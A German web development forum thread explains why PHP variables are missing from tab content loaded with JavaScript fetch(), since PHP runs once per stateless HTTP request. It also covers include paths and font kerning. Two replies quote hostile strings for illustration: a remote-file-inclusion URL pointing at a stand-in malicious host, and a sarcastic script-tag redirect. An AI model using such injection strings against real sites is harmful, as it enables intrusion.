borisbaer: Von JS dynamisch erzeugter Inhalt kommt nicht an PHP-Variablen heran

problematische Seite

Hallo zusammen,

ich versuche jetzt schon seit einer ganzen Weile herauszufinden, warum mein dynamisch erzeugter Inhalt nicht an bestimmte PHP-Variablen herankommt.

Es geht um eine Grafik, deren src mitunter aus einem Teil der URI besteht:

<img src="/games/<?= $uri[2]; ?>/images/logo.png" alt="<?= $page; ?>">

Wenn der Inhalt beim ersten Abruf statisch geladen wird, werden die Variablen $uri und $page gefunden. Wechselt man dann auf einen anderen Tab und wieder zurück, wird derselbe Inhalt dynamisch geladen. Dann werden die beiden oben genannten Variablen nicht mehr gefunden. Ich wäre sehr dankbar, wenn mir jemand weiterhelfen könnte.

  1. problematische Seite

    Lieber borisbaer,

    <img src="/games/<?= $uri[2]; ?>/images/logo.png" alt="<?= $page; ?>">
    

    was genau passiert denn hier? Man erkennt von hier aus nicht, woher die Variable $uri ihren Array-Inhalt hernimmt. Auch die Variable $page ist einfach nur erwähnt, aber wie sie zu ihrem Inhalt kommt, ist in Deinem Code auch nicht ersichtlich.

    Du hast das Wesentliche nicht gepostet. So ist Dir nicht zu helfen.

    Liebe Grüße

    Felix Riesterer

    1. problematische Seite

      Hallo Felix,

      die Variable $uri wird direkt am Anfang der Seite erstellt, noch vor dem DOCTYPE.

      $uri = explode( '/', $_SERVER['REQUEST_URI'] );
      

      $page ist einfach nur ein string.

      $page = 'Demon’s Souls';
      

      Die index.php sieht folgendermaßen aus:

      <?php
      $page = 'Demon’s Souls';
      $heading = 'Demon’s Sou<span style="letter-spacing: .35em;">l</span>s';
      include $_SERVER['DOCUMENT_ROOT'] . '/index.php';
      ?>
      

      Sie fügt das Grundgerüst der Seite ein, wo sich auch $uri befindet. Ich hoffe, das hilft weiter.

      Das Problem ist, dass beim dynamischen Laden des Inhalts die beiden Variablen plötzlich undefined sind.

      1. problematische Seite

        Lieber borisbaer,

        die Variable $uri wird direkt am Anfang der Seite erstellt, noch vor dem DOCTYPE.

        $uri = explode( '/', $_SERVER['REQUEST_URI'] );
        

        aha. Explode ist für mich in solchen Fällen so etwas wie ein rotes Tuch. Folgender Code ist für mich oft der Grund, warum ich das anders löse:

        print_r(explode('/', '/abc/def'));
        Array
        (
            [0] => 
            [1] => abc
            [2] => def
        )
        

        Für mich ist der Index 0 im obigen Beispiel oft unerwünscht, da er leer ist. In Deinem Anwendungsfall hier mag das anders sein, aber in solchen Fällen benutze ich dann preg_split:

        print_r(preg_split('~/~', '/abc/def', -1, PREG_SPLIT_NO_EMPTY));
        Array
        (
            [0] => abc
            [1] => def
        )
        

        OK, gehen wir einmal davon aus, dass Dein String genau so zerlegt wird, wie Du das willst.

        $page = 'Demon’s Souls';
        

        OK, klare Sache.

        Die index.php sieht folgendermaßen aus:

        <?php
        $page = 'Demon’s Souls';
        $heading = 'Demon’s Sou<span style="letter-spacing: .35em;">l</span>s';
        include $_SERVER['DOCUMENT_ROOT'] . '/index.php';
        ?>
        

        Wenn ich mich recht erinnere, sollte man für include-Anweisungen keine Pfade aufgrund von _SERVER[DOCUMENT_ROOT] verwenden. Keine Ahnung, wo ich vor Jahren gelesen hatte, warum das ein Sicherheitsproblem sein könnte. Jedenfalls verwende ich die magische Konstante __DIR__ für Dateipfade. Sie ist das Verzeichnis, in welchem die PHP-Datei liegt, in der die Konstante jeweils benutzt wird (daher magisch). Vielleicht willst Du das auch tun.

        Aber: Warum includiert sich die Datei index.php selbst? Oder verstehe ich die include-Anweisung falsch und es handelt sich um eine andere index.php?

        Das Problem ist, dass beim dynamischen Laden des Inhalts die beiden Variablen plötzlich undefined sind.

        Dein JavaScript tut irgendwelche Dinge. Dabei kommt fetch() zum Einsatz. Warum Du das verwendest, erschließt sich mir nicht. Ich hätte beim Klick auf die Registerkarten ein anderes Verhalten erwartet, nämlich dass ich zu einem neuen Dokument gelange, welches der Browser komplett neu lädt. Dein JavaScript scheint aber diesen Vorgang empfindlich zu stören. Dabei passiert dann offensichtlich das von Dir beschriebene Verhalten.

        Mein Netzwerk-Tab meldet, dass ein Script /scripts/page.js in Zeile 31 Position 9 etwas tut. Klicke ich darauf, steht da fetch( 'subpages/' + href ). Für die game-Unterseite wird also die Adresse /games/demons-souls/subpages/game geladen. Das ist eine andere Adresse als /games/demons-souls/game oder nur /games/demons-souls/. Und was der jeweilige Unterschied ist und was das alles soll, und warum Du dazu ganze sieben (7!) JavaScript-Dateien lädst, das weißt Du sicherlich am besten.

        Kann es sein, dass die Script-Datei in subpages beim Fetchen unter anderen Voraussetzungen geparst wird, weil Dein initiales PHP-Script dann fehlt? Wird sie etwa direkt als Hauptscript geladen, ohne von woanders zuerst inkludiert zu werden?

        Liebe Grüße

        Felix Riesterer

        1. problematische Seite

          Hallo Felix,

          Für mich ist der Index 0 im obigen Beispiel oft unerwünscht, da er leer ist. In Deinem Anwendungsfall hier mag das anders sein, aber in solchen Fällen benutze ich dann preg_split:

          print_r(preg_split('~/~', '/abc/def', -1, PREG_SPLIT_NO_EMPTY));
          Array
          (
              [0] => abc
              [1] => def
          )
          

          interessant! Ich werde mir das mit preg_split einmal genauer ansehen. Könntest du mir erklären, wo du das Problem bei explode siehst? Das konnte ich noch nicht nachvollziehen.

          Wenn ich mich recht erinnere, sollte man für include-Anweisungen keine Pfade aufgrund von _SERVER[DOCUMENT_ROOT] verwenden. Keine Ahnung, wo ich vor Jahren gelesen hatte, warum das ein Sicherheitsproblem sein könnte. Jedenfalls verwende ich die magische Konstante __DIR__ für Dateipfade. Sie ist das Verzeichnis, in welchem die PHP-Datei liegt, in der die Konstante jeweils benutzt wird (daher magisch). Vielleicht willst Du das auch tun.

          Okay, in manchen Fällen bietet sich das sicher an, aber wenn die Ordnerstruktur verschachtelter wird, dann wird es ohne einen Verweis vom ROOT-Ordner irgendwie schwierig, oder? Gerade wenn man viel mit php include strukturiert.

          Aber: Warum includiert sich die Datei index.php selbst? Oder verstehe ich die include-Anweisung falsch und es handelt sich um eine andere index.php?

          Ja, sorry, das ist missverständlich. Nein, sie inkludiert eine andere index.php, nämlich die zentrale im ROOT-Ordner. Diese enthält alle Bausteine der Seite. Die Variablen $page und $heading sind dafür da, dass sich der title und der h1-tag der jeweiligen Seite anpassen.

          Dein JavaScript tut irgendwelche Dinge. Dabei kommt fetch() zum Einsatz. Warum Du das verwendest, erschließt sich mir nicht. Ich hätte beim Klick auf die Registerkarten ein anderes Verhalten erwartet, nämlich dass ich zu einem neuen Dokument gelange, welches der Browser komplett neu lädt. Dein JavaScript scheint aber diesen Vorgang empfindlich zu stören. Dabei passiert dann offensichtlich das von Dir beschriebene Verhalten.

          Puh, eigentlich sollen die Inhalte der „Tabs“ dynamisch über fetch() geladen werden. Beim ersten Seitenaufruf jedoch statisch (damit man die jeweilige subpage bspw. auch bookmarken kann). Ich wollte verhindern, dass beim Tabwechsel ein Neuladen der ganzen Seite stattfindet.

          und warum Du dazu ganze sieben (7!) JavaScript-Dateien lädst, das weißt Du sicherlich am besten.

          Die sind ja erst mal nur der Übersichtlichkeit halber gesplittet. Am Ende kann man die alle in ein script.js packen.

          Kann es sein, dass die Script-Datei in subpages beim Fetchen unter anderen Voraussetzungen geparst wird, weil Dein initiales PHP-Script dann fehlt? Wird sie etwa direkt als Hauptscript geladen, ohne von woanders zuerst inkludiert zu werden?

          Der Teil der Seite, der diese Grafik enthält, wird über die PHP function beginContainer( $uri, $page ); eingefügt. Diese function enthält folgenden Code:

          function beginContainer( $uri, $page ) { ?>
          
          	<div class="container">
          
          		<figure><img src="/games/<?= $uri[2]; ?>/images/logo.png" alt="<?= $page; ?>"></figure>
          
          <?php }
          

          Die subpage games.php wird beim ersten Aufruf statisch geladen über php include. Beim Tabwechsel über die Navigation wird die games.php dynamisch über js fetch() geladen. Die Variablen $uri und $page sind halt außerhalb game.php – sie sind in /demons-souls/index.php.

          Ich dachte, sobald /demons-souls/index.php mal geladen ist, bleiben die dort definierten Variablen irgendwo im document stehen, d.h. man kann darauf jederzeit zugreifen. Wenn diese Variablen allerdings nur beim ersten Laden der Seite eingefügt werden und dann weg bzw. unzugänglich sind, dann müsste eigentlich bei jedem JavaScript-Tabwechsel auch das PHP script neu laden, aber genau das ist ja nicht der Fall, da die Seite nicht noch mal aufgebaut wird.

          Hmm, wahrscheinlich ist das der Fehler. 😯

          1. problematische Seite

            Hallo,

            Ich dachte, sobald /demons-souls/index.php mal geladen ist, bleiben die dort definierten Variablen irgendwo im document stehen, d.h. man kann darauf jederzeit zugreifen.

            du hast ein generelles Verständnisproblem. Das PHP-Script läuft durch, sendet seinen Output an den Browser und ist dann fertig. Auf der Clientseite ist dann genau das verfügbar, was das Script einmal ausgegeben hat. Script-interne Daten sind dann aber Vergangenheit.

            Wenn diese Variablen allerdings nur beim ersten Laden der Seite eingefügt werden und dann weg bzw. unzugänglich sind, dann müsste eigentlich bei jedem JavaScript-Tabwechsel auch das PHP script neu laden, aber genau das ist ja nicht der Fall, da die Seite nicht noch mal aufgebaut wird.

            Hä?

            Hmm, wahrscheinlich ist das der Fehler. 😯

            Möglich.

            Einen schönen Tag noch
             Martin

            --
            Ich fürchte, ich brauche ein neues Portemonnaie. Das alte ist leer.
            1. problematische Seite

              du hast ein generelles Verständnisproblem. Das PHP-Script läuft durch, sendet seinen Output an den Browser und ist dann fertig. Auf der Clientseite ist dann genau das verfügbar, was das Script einmal ausgegeben hat. Script-interne Daten sind dann aber Vergangenheit.

              Genau das hatte ich nicht begriffen. Deswegen kann es so, wie ich es mir vorgestellt habe, nicht funktionieren. Weil die script-internen Daten nicht mehr verfügbar sind, kann der über fetch() geladene Inhalt nicht auf diese zugreifen. In meinem Kopf waren die PHP-Variablen halt ewig verfügbar irgendwo im document, aber ein script ist halt kein HTML-Dokument. Denkfehler.

              Wenn diese Variablen allerdings nur beim ersten Laden der Seite eingefügt werden und dann weg bzw. unzugänglich sind, dann müsste eigentlich bei jedem JavaScript-Tabwechsel auch das PHP script neu laden, aber genau das ist ja nicht der Fall, da die Seite nicht noch mal aufgebaut wird.

              Hä?

              Das, was du oben geschrieben hast, nur in unverständlich.

              Hmm, wahrscheinlich ist das der Fehler. 😯

              Möglich.

              Bestimmt! 😳

              1. problematische Seite

                Lieber borisbaer,

                Weil die script-internen Daten nicht mehr verfügbar sind, kann der über fetch() geladene Inhalt nicht auf diese zugreifen. In meinem Kopf waren die PHP-Variablen halt ewig verfügbar irgendwo im document, aber ein script ist halt kein HTML-Dokument. Denkfehler.

                meiner Meinung nach schießt Du Dir mit der Verwendung von JavaScript sowieso ins Bein. Warum kann ein Klick auf einen Link, der zu einer anderen Seite führt (also anderen URL) nicht den regulären Ladeprozess des Browsers auslösen, der ein Dokument vom Server lädt, welches dieser mit PHP zusammenstellt, ohne dass da irgendein JavaScript dazwischen pfuscht?

                Meiner Meinung nach benötigt man JavaScript und fetch nur dann, wenn man nicht-HTML-Daten (wie z.B. JSON) nachladen möchte, die dann im Dokument angezeigt werden sollen. Du hast hier aber nur einen schnöden Seitenwechsel.

                Liebe Grüße

                Felix Riesterer

                1. problematische Seite

                  Hallo Felix,

                  Du hast hier aber nur einen schnöden Seitenwechsel

                  Einen Tab-Wechsel. Und den realisiert er durch den Fetch des neuen Tab-Inhalts. Das ist nicht UNBEDINGT nötig, aber machen kann man sowas, um einen Seitenneuaufbau (mit Scrollen nach oben) zu vermeiden,

                  Es muss dann nur einen Fallbackmechanismus geben, der bei inaktivem JS den Seitenwechsel per Neuaufbau löst. Und das hat er gebaut. Mein ich jedenfalls, das so gesehen (und mitgebaut 😉) zu haben.

                  Rolf

                  --
                  sumpsi - posui - obstruxi
                  1. problematische Seite

                    Lieber Rolf,

                    Du hast hier aber nur einen schnöden Seitenwechsel

                    Einen Tab-Wechsel.

                    und warum sollte dieser eine neue Seite laden? Warum ändert sich nicht nur die Sichtbarkeit von Dokumentteilen?

                    Und den realisiert er durch den Fetch des neuen Tab-Inhalts. Das ist nicht UNBEDINGT nötig, aber machen kann man sowas, um einen Seitenneuaufbau (mit Scrollen nach oben) zu vermeiden,

                    Das klingt für mich eher nach einer Fehlerbeschreibung, denn nach einer technischen Lösung. Tut mir leid, aber: Warum einfach, wenn es auch kompliziert geht?

                    Es muss dann nur einen Fallbackmechanismus geben, der bei inaktivem JS den Seitenwechsel per Neuaufbau löst. Und das hat er gebaut. Mein ich jedenfalls, das so gesehen (und mitgebaut 😉) zu haben.

                    Na so ein Wahnsinn! Es gibt doch schon tabbed interfaces, warum dann nicht diese verwenden? Dazu schreibt Pickering in diesem Artikel am Ende gute Gründe:

                    Checklist

                    • Don't provide tabbed interfaces unless they are suited to the use case and are likely to be understood and appreciated by the user. Just because you can doesn't mean you should.
                    • Tables of content and same-page links are a simpler and more robust approach to many of the ostensible use cases for tabbed interfaces.
                    • Make sure interfaces that appear as tabbed interfaces have the semantics and behaviors expected of them.
                    • Single-page applications should not present or behave as tabbed interfaces, despite their shared use of JavaScript to switch between and/or populate content panes.

                    Ich übersetze das mal:

                    Checkliste

                    • Stellen Sie keine Schnittstellen mit Registerkarten bereit, es sei denn, sie sind für den Anwendungsfall geeignet und werden wahrscheinlich vom Benutzer verstanden und geschätzt. Nur weil Sie es können, heißt das nicht, dass Sie es sollten.
                    • Inhaltsverzeichnisse und Links auf derselben Seite sind ein einfacherer und robusterer Ansatz für viele der angeblichen Anwendungsfälle für Benutzeroberflächen mit Registerkarten.
                    • Stellen Sie sicher, dass Schnittstellen, die als Schnittstellen mit Registerkarten angezeigt werden, die von ihnen erwartete Semantik und das erwartete Verhalten aufweisen.
                    • Single-Page-Anwendungen sollten trotz ihrer gemeinsamen Verwendung von JavaScript zum Wechseln zwischen und/oder Füllen von Inhaltsfenstern nicht als Schnittstellen mit Registerkarten dargestellt werden oder sich so verhalten.

                    Also mag es eine vermeintlich gute Design-Idee sein, dass auf der problematischen Seite Registerkarten verwendet werden. Aber die Umsetzung sollte ohne fetch funktionieren und nur das Umschalten der Ansicht mittels JavaScript realisieren. Fehlt dieses, sollte die Ansicht überhaupt keine Registerkarten abbilden.

                    Liebe Grüße

                    Felix Riesterer

            2. problematische Seite

              @@Der Martin

              du hast ein generelles Verständnisproblem. Das PHP-Script läuft durch, sendet seinen Output an den Browser und ist dann fertig. Auf der Clientseite ist dann genau das verfügbar, was das Script einmal ausgegeben hat.

              Und die Clientseite weiß nicht einmal, dass ein Script da einmal was ausgegeben hat. Könnte auch statisches HTML sein.

              Fremde neue Welten … – nichts deutet darauf hin, dass die Seite per Script aus JSON-LD-Rohdaten generiert wird.

              Oh, gleich mal schauen, ob die heutige neue Folge schon raus ist …

              🖖 Живіть довго і процвітайте

              --
              When the power of love overcomes the love of power the world will know peace.
              — Jimi Hendrix
              1. problematische Seite

                @@Gunnar Bittersmann

                Fremde neue Welten … – nichts deutet darauf hin, dass die Seite per Script aus JSON-LD-Rohdaten generiert wird.

                Da folgt man ahnungslos einem Link und muss feststellen, sich zu wiederholen. 😂

                🖖 Живіть довго і процвітайте

                --
                When the power of love overcomes the love of power the world will know peace.
                — Jimi Hendrix
        2. problematische Seite

          Wenn ich mich recht erinnere, sollte man für include-Anweisungen keine Pfade aufgrund von _SERVER[DOCUMENT_ROOT] verwenden. Keine Ahnung, wo ich vor Jahren gelesen hatte, warum das ein Sicherheitsproblem sein könnte. Jedenfalls verwende ich die magische Konstante __DIR__ für Dateipfade. Sie ist das Verzeichnis, in welchem die PHP-Datei liegt, in der die Konstante jeweils benutzt wird (daher magisch). Vielleicht willst Du das auch tun.

          Noch mal zu dieser Sache mit _SERVER[DOCUMENT_ROOT].

          Könnte man als Alternative vielleicht Folgendes verwenden?

          substr( $_SERVER['SCRIPT_FILENAME'], 0, -strlen( $_SERVER['SCRIPT_NAME'] ) )
          

          Es funktioniert jedenfalls auch.

          1. problematische Seite

            Hallo borisbaer,

            kannst du, denke ich. Du kannst Dir aber auch einen Anorak kaufen und die Jacke abschneiden, um Dir die Kapuze aufzusetzen 😉

            Was hast Du gegen DOCUMENT_ROOT? Dass DOCUMENT_ROOT + SCRIPT_FILENAME immer SCRIPT_NAME ergibt, dürfte unter Apache gegeben sein. Aber warum mühsam herleiten, was eh da ist?

            Die Sache mit ˋ__DIR__ˋ oder ˋ__FILE__ˋ hat dagegen die Eigenschaft, sich auf die PHP Datei zu beziehen, in der es steht. Das ist, wenn Du includest, nicht das ausgeführte Script. Das kann ein Vor- oder Nachteil sein, je nach aktuellem Zweck…

            Rolf

            --
            sumpsi - posui - obstruxi
            1. problematische Seite

              Hallo Rolf,

              laut Felix Riesterer könnte es mit $_SERVER['DOCUMENT_ROOT'] Sicherheitsprobleme geben. Ich weiß davon allerdings nichts. ✌️

              1. problematische Seite

                Hallo borisbaer,

                Felix weiß es ja selbst nicht mehr so genau 😉

                Ich habe mal Tante Google befragt und komme da auf eine Seite, wo jemand dies her als Angriffsversuch beschreibt:

                /page?_SERVER[DOCUMENT_ROOT]=hxxp://malicioussite.com/badscript.txt

                In dem Zusammenhang wird aber auch geschrieben, dass das nur dann ein Problem sei, wenn register_globals aktiv sei - was seit vielen Jahren als einer von Lerdorfs stinkenderen Hirnfürzen angesehen wird und schon seit PHP 5.5 oder so entfernt wurde. Mit einem halbwegs aktuellen PHP lässt sich also nicht mal mehr feststellen, ob dieser Injektionsversuch überhaupt klappt.

                Ansonsten finde ich keine Hinweise auf Sicherheitsprobleme bei DOCUMENT_ROOT.

                Rolf

                --
                sumpsi - posui - obstruxi
                1. problematische Seite

                  Hallo borisbaer,

                  Felix weiß es ja selbst nicht mehr so genau 😉

                  Ich habe mal Tante Google befragt und komme da auf eine Seite, wo jemand dies her als Angriffsversuch beschreibt:

                  /page?_SERVER[DOCUMENT_ROOT]=hxxp://malicioussite.com/badscript.txt

                  In dem Zusammenhang wird aber auch geschrieben, dass das nur dann ein Problem sei, wenn register_globals aktiv sei - was seit vielen Jahren als einer von Lerdorfs stinkenderen Hirnfürzen angesehen wird und schon seit PHP 5.5 oder so entfernt wurde. Mit einem halbwegs aktuellen PHP lässt sich also nicht mal mehr feststellen, ob dieser Injektionsversuch überhaupt klappt.

                  Ansonsten finde ich keine Hinweise auf Sicherheitsprobleme bei DOCUMENT_ROOT.

                  Rolf

                  Danke für die Aufklärung, Rolf! Dann bleibe ich selbstverständlich bei DOCUMENT_ROOT! 🙂

                2. problematische Seite

                  wenn register_globals ... und schon seit PHP 5.5 oder so entfernt wurde.

                  5.4. Doch viel früher wurde per default-Einstellung deaktiviert.

                  einer von Lerdorfs stinkenderen Hirnfürzen

                  💀 Es gibt aber „Hackmichs“, die lesen und veröffentlichen selbst an anderer Stelle warum es deaktiviert wurde - und bauen die Scheiße einfach nochmal, veröffentlichen das auch noch - und zwar ohne Warnung!

                  Hinschauen, lachen, aber NICHT nachmachen:

                  https://pageconfig.com/post/register_globals-is-back-php-implementation

              2. @borisbaer: Du hast Post.

                laut Felix Riesterer könnte es mit $_SERVER['DOCUMENT_ROOT'] Sicherheitsprobleme geben. Ich weiß davon allerdings nichts. ✌️

                Klar. Wenn der ROOT (Administrator auf Linux und Unix) ein Verzeichnis mit dem Name

                /var/www/<script>location.href="https://boeserServer.example.com/nurPornosHier/"<script>
                

                anlegt(¹) und DAS dann auch noch als Server-Root einrichtet…

                Sarkasmus: Off


                ¹) Unter Linux sind, außer dem NUL-Byte alle Zeichen in Datei- und Verzeichnisnamen erlaubt. Manche sind aber nicht trivial anzulegen oder zu addressieren…

            2. problematische Seite

              Hallo Rolf,

              Du kannst Dir aber auch einen Anorak kaufen und die Jacke abschneiden, um Dir die Kapuze aufzusetzen 😉

              das ist mal pragmatisch. Ich sag nur Feingewinde. 🤣

              Apropos pragmatisch: Weißt du, wie man Netze macht? - Man nimmt viele Löcher und bindet sie zusammen. Und wo kriegt man die Löcher her? - Indem man ein Ofenrohr nimmt und das Blech abwickelt.

              Einen schönen Tag noch
               Martin

              --
              Ich fürchte, ich brauche ein neues Portemonnaie. Das alte ist leer.
      2. problematische Seite

        @@borisbaer

        $heading = 'Demon’s Sou<span style="letter-spacing: .35em;">l</span>s';
        

        Letter-spacing? Warum das denn?

        Das Problem ist, dass beim dynamischen Laden des Inhalts die beiden Variablen plötzlich undefined sind.

        Was mass man tun, um das Problem nachzuvollziehen?

        🖖 Живіть довго і процвітайте

        --
        When the power of love overcomes the love of power the world will know peace.
        — Jimi Hendrix
        1. problematische Seite

          @@Gunnar Bittersmann

          Letter-spacing? Warum das denn?

          Und auch hier:

          <p>Japa<span style="letter-spacing: .135em;">n</span>: <span style="letter-spacing: .085em;">5</span>. Januar 20<span style="letter-spacing: .095em;">0</span>9</p>
          
          • Du willst größeren Abstand vor dem Doppelpunkt? Dann wäre jeweils der Doppelpunkt (nicht der vorherige Buchstabe) in ein <span class="colon"> zu packen und im Stylesheet .colon { margin-left: .135em } anzugeben.

          • Du willst die Ziffern gleich breit (dicktengleich) haben? Dann wäre statt dem Letter-spacing-Geraffel font-variant-numeric: tabular-nums anzugeben.[1]
            proportional vs. tabular numbers

          • Du willst den Abstand bei bestimmten Buchstabenpaaren vergrößern? Oder anders gesagt: Du willst den Abstand bei bestimmten Buchstabenpaaren nicht verkleinern, sondern das Kerning abschalten? Dann wäre statt dem Letter-spacing-Geraffel font-feature-settings: 'kern' 0 anzugeben.

          🖖 Живіть довго і процвітайте

          --
          When the power of love overcomes the love of power the world will know peace.
          — Jimi Hendrix

          1. font-feature-settings: 'lnum', 'tnum' wäre auch möglich; ist aber problematischer wegen Überschreibung durch andere OpenType-Features ↩︎

          1. problematische Seite

            • Du willst größeren Abstand vor dem Doppelpunkt? Dann wäre jeweils der Doppelpunkt (nicht der vorherige Buchstabe) in ein <span class="colon"> zu packen und im Stylesheet .colon { margin-left: .135em } anzugeben.

            Hatte ich sogar schon so gemacht, aber je nach vorangehendem Buchstaben möchte ich den Abstand größer oder kleiner haben. 🙈

            • Du willst die Ziffern gleich breit (dicktengleich) haben? Dann wäre statt dem Letter-spacing-Geraffel font-variant-numeric: tabular-nums anzugeben.

            Es geht sowohl um die Ziffern als auch um die Buchstaben. Mir gefällt es zum Beispiel nicht, dass die Buchstabenpaare „rt“ oder „tz“ so nah zusammenstehen. Total bescheuert, ich weiß.

            • Du willst den Abstand bei bestimmten Buchstabenpaaren vergrößern? Oder anders gesagt: Du willst den Abstand bei bestimmten Buchstabenpaaren nicht verkleinern, sondern das Kerning abschalten? Dann wäre statt dem Letter-spacing-Geraffel font-feature-settings: 'kern' 0 anzugeben.

            Leider geschieht nichts, wenn ich das im stylesheet deklariere. Muss die Schriftart das unterstützen oder gibt es irgendwelche anderen Voraussetzungen? font-feature-settings: 'smcp' funktioniert nämlich beispielsweise.

            1. problematische Seite

              @@borisbaer

              Es geht sowohl um die Ziffern als auch um die Buchstaben. Mir gefällt es zum Beispiel nicht, dass die Buchstabenpaare „rt“ oder „tz“ so nah zusammenstehen. Total bescheuert, ich weiß.

              Bei professionell gestalteten Schriften würde ich davon ausgehen, dass der* Schriftdesigner* mehr Ahnung davon hat als ich und das Kerning vernünftig gemacht hat. Ich würde da nicht versuchen zu verschlimmbessern.[1]

              Bei deiner Überschrift „Demon’s Souls“ finde ich, dass das S zu weit weg vom L steht. Ohne dein Letter-spacing sieht’s besser aus, IMHO.

              Aber ja, bei Sperrschrift kann es sich anbieten, das Kerning auszuschalten, siehe Folien 11 und 12 und Codepen.

              Du willst […] das Kerning abschalten? Dann wäre statt dem Letter-spacing-Geraffel font-feature-settings: 'kern' 0 anzugeben.

              Leider geschieht nichts, wenn ich das im stylesheet deklariere. Muss die Schriftart das unterstützen oder gibt es irgendwelche anderen Voraussetzungen?

              Ja, bei der verwendeten Roboto sehe ich da auch keinen Unterschied.

              🖖 Живіть довго і процвітайте

              --
              When the power of love overcomes the love of power the world will know peace.
              — Jimi Hendrix

              1. Anders sieht’s aus bei so manchen Schriften, die man so für umme im Web findet. Die sind teilweise gar nicht oder grottig gekernt. Da ist Nacharbeit angesagt. Hab ich auch schon gemacht. Beim VA hab ich’s wohl etwas übertrieben, die sind etwas eng aneinander geraten. ↩︎

              1. problematische Seite

                Hallo Gunnar,
                ich habe eine Möglichkeit gefunden, wie ich vielleicht auf das „letter-spacing-Geraffel“ verzichten kann: die Schriftarten selbst anpassen bzw. eigene Ligaturen hinzufügen. Danke, dass du mich auf diese Idee gebracht hast. Mit Fontlab 8 geht das ziemlich gut. Ist zwar aufwändig, aber auf Dauer wäre die Lösung mit letter-spacing noch viel aufwändiger. Außerdem wird der Code dadurch sauberer und die Suchmaschinen können die Texte leichter durchsuchen ... UND ich kann womöglich endlich Inhalte bzw. Text ganz sauber über JSON einfügen. 🙂

                Wie auch immer, ich wollte nur ein kurzes Update dazu geben.

        2. problematische Seite

          Hi Gunnar,

          $heading = 'Demon’s Sou<span style="letter-spacing: .35em;">l</span>s';
          

          Letter-spacing? Warum das denn?

          OCD? Ästhetischer Tick? Beides?

          Was mass man tun, um das Problem nachzuvollziehen?

          Sich die Fehlermeldung anschauen?

          Warning
          Undefined variable $uri in D:\Websites\games\pages\games\demons-souls\subpages\game.php on line 37
          Warning
          Undefined variable $page in D:\Websites\games\pages\games\demons-souls\subpages\game.php on line 37

          In line 37 übergebe ich die beiden Variablen einer function: beginContainer( $uri, $page );. Irgendwas scheint beim dynamischen Laden bei der Übergabe schiefzulaufen. Doch was genau, kann ich nicht nachvollziehen.

          Boris

          1. problematische Seite

            Was mass man tun, um das Problem nachzuvollziehen?

            Sich die Fehlermeldung anschauen?

            Ach! Da sind sie ja...

            Warning
            Undefined variable $uri in D:\Websites\games\pages\games\demons-souls\subpages\game.php on line 37
            Warning
            Undefined variable $page in D:\Websites\games\pages\games\demons-souls\subpages\game.php on line 37

            In line 37 übergebe ich die beiden Variablen einer function: beginContainer( $uri, $page );.

            Das bedeutet, dass in Zeile 37 diese beiden Variablen unbekannt sind.

            Versuche herauszufinden, wie das Skript „game.php“ GENAU abläuft. Mir ist auch nicht ganz klar, warum es sich von der „index.php“ unterscheidet...

            Mir ist noch aufgefallen, dass

            • http://54598532.swh.strato-hosting.eu/games/demons-souls/game.php

            zu einem 404er führt. Soll aber da sein (siehe oben). Vergessenes Rewriting? Schau mal in die htaccess auf dem Server. Ähnliches gilt nämlich auch für die index.php: Direktaufrufe von

            • http://54598532.swh.strato-hosting.eu/games/demons-souls/
            • http://54598532.swh.strato-hosting.eu/games/demons-souls/index

            funktionieren. Also „ist da was“.

            Und, ganz schlecht: Du hast offenbar zwei sehr unterschiedliche Testumgebungen, denn Du zeigst hier Fehlermeldungen, die nur unter Windows entstanden sein können, aber Seiten von einem Webserver - oder kann man bei STRATO jetzt Windows-Server mieten?(¹)


            ¹) Und, falls es so ist: Wer, BITTE, macht denn SOWAS?

            1. problematische Seite

              Und, ganz schlecht: Du hast offenbar zwei sehr unterschiedliche Testumgebungen, denn Du zeigst hier Fehlermeldungen, die nur unter Windows entstanden sein können, aber Seiten von einem Webserver - oder kann man bei STRATO jetzt Windows-Server mieten?(¹)

              Hab das geprüft: Der Webserver mit der „problematischen Seite“ meldet sich mit

              Server: Apache/2.4.53 (Unix)
              

              Konzentriere Dich bitte auf einen Server. Fehler von dem einen und Fehlermeldungen von einem anderen sind regelmäßig nichts anderes als Ursachen gar wundersamer Irrtümer.

              Vergessenes Rewriting? Schau mal in die htaccess auf dem Server.

              Das meint ALLE .htaccess oder Server-Configs in/für

              • http://54598532.swh.strato-hosting.eu/
              • http://54598532.swh.strato-hosting.eu/games/
              • http://54598532.swh.strato-hosting.eu/games/demons-souls/

              Im Zweifelsfall lege im DNS für die Tests von /games/demons-souls/ eine eigene Subdomain an und teste damit.

            2. problematische Seite

              Versuche herauszufinden, wie das Skript „game.php“ GENAU abläuft. Mir ist auch nicht ganz klar, warum es sich von der „index.php“ unterscheidet...

              Vermutlich das. Siehe ganz unten.

              Mir ist noch aufgefallen, dass

              • http://54598532.swh.strato-hosting.eu/games/demons-souls/game.php

              zu einem 404er führt. Soll aber da sein (siehe oben). Vergessenes Rewriting? Schau mal in die htaccess auf dem Server.

              game.php befindet sich eigentlich in /demons-souls/subpages/ – nicht in /demons-souls/. /subpages/ wird mit einer Rewriting Rule ausgespart. Man könnte es sicherlich noch so einrichten, dass /demons-souls/game.php trotzdem zum „richtigen“ Dateipfad führt.

              Ähnliches gilt nämlich auch für die index.php: Direktaufrufe von

              • http://54598532.swh.strato-hosting.eu/games/demons-souls/
              • http://54598532.swh.strato-hosting.eu/games/demons-souls/index

              funktionieren. Also „ist da was“.

              Und, ganz schlecht: Du hast offenbar zwei sehr unterschiedliche Testumgebungen, denn Du zeigst hier Fehlermeldungen, die nur unter Windows entstanden sein können, aber Seiten von einem Webserver - oder kann man bei STRATO jetzt Windows-Server mieten?

              Ich wusste nicht, dass das problematisch ist! Muss ich mir noch mal anschauen.

              1. problematische Seite

                Vermutlich das. Siehe ganz unten.

                Ah ja. Merksatz: „HTTP ist ein zustandsloses Protokoll.“ Willst Du, dass bei einem Request „B“ Daten vom früheren Request „A“ bekannt sind, dann musst Du dafür etwas tun: „Cookies“, „Session“ sind die Stichworte. Das macht man aber nur, wenn die neue Ermittlung der Daten unmöglich oder sehr „teuer“ (aufwendig, langwierig) ist.

                Und, ganz schlecht: Du hast offenbar zwei sehr unterschiedliche Testumgebungen, denn Du zeigst hier Fehlermeldungen, die nur unter Windows entstanden sein können, aber Seiten von einem Webserver - oder kann man bei STRATO jetzt Windows-Server mieten?

                Ich wusste nicht, dass das problematisch ist! Muss ich mir noch mal anschauen.

